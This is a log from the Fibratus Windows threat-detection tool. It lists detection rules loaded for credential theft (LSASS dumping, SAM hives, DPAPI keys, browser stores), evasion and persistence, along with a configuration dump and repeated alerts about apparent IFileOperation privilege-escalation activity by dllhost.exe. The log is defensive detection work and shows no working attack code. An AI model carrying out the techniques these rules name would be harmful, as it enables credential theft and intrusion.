(x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:21:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:21:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:22:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:22:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:22:44+01:00 level=info msg=bootstrapping with pid 21684. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:22:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-threadpool=>false enable-handle=>false enable-dns=>false stack-enrichment=>true enable-registry=>true enable-mem=>false enable-net=>true enable-image=>true enable-vamap=>true buffer-size=>512 enable-thread=>true flush-interval=>1s max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info] + output ......................... [ http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s endpoints=>[]] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus trace-log=>false index-name=>fibratus flush-period=>1s sniff=>false enabled=>false timeout=>5s gzip-compression=>false healthcheck=>true healthcheck-interval=>10s] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false durable=>false exchange=>fibratus passive=>false exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient routing-key=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-files=>false skip-allocs=>false enabled=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:22:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:22:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:23:06+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 549891 + Pid: 22564 + Tid: 6688 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:22:53.9335805 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b88417640, file_path➜ C:\Users\nedo\AppData\Local\Temp\ATL.dl~, irp➜ ffffc38b849de988, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6688, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 22564 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:23:06+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 549891 + Pid: 22564 + Tid: 6688 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:22:53.9335805 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b88417640, file_path➜ C:\Users\nedo\AppData\Local\Temp\ATL.dl~, irp➜ ffffc38b849de988, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6688, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 22564 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:23:08+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 568983 + Pid: 22564 + Tid: 6688 + Type: CreateFile + CPU: 4 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:22:54.3836063 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b88a5f080, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b85e470f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6688, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 22564 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:23:08+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 568983 + Pid: 22564 + Tid: 6688 + Type: CreateFile + CPU: 4 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:22:54.3836063 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b88a5f080, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b85e470f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6688, type➜ File + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 22564 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:23:10+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T16:24:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:24:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:24:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:44:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from 